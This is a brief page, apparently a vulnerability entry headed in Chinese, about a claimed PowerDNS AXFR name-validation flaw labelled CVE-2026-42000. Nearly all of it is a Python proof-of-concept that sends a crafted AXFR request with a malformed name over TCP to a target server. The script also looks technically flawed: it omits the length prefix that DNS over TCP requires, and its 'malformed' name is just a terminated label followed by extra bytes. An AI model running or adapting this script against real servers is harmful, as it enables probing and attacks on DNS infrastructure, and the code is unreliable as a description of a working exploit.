CVE-2026-42000 PowerDNS AXFR名称验证不足漏洞

import socket import struct # CVE-2026-42000 PoC Concept # Target: PowerDNS Authoritative Server # Description: Send an AXFR request with a malformed name to bypass validation. def send_malformed_axfr(target_ip, domain): # DNS Header: ID=0x1234, Flags=0 (Standard Query), QDCOUNT=1 header = struct.pack('!HHHHHH', 0x1234, 0x0000, 1, 0, 0, 0) # Question: Domain (encoded), Type=AXFR (252), Class=IN (1) # Malformed name containing null byte or invalid char malformed_name = b'\x03www\x00' + domain.encode('utf-8') + b'\x00' question = malformed_name + struct.pack('!HH', 252, 1) payload = header + question try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, 53)) sock.send(payload) response = sock.recv(1024) print(f"Response received: {len(response)} bytes") sock.close() except Exception as e: print(f"Error: {e}") # Usage # send_malformed_axfr('192.168.1.100', 'example.com')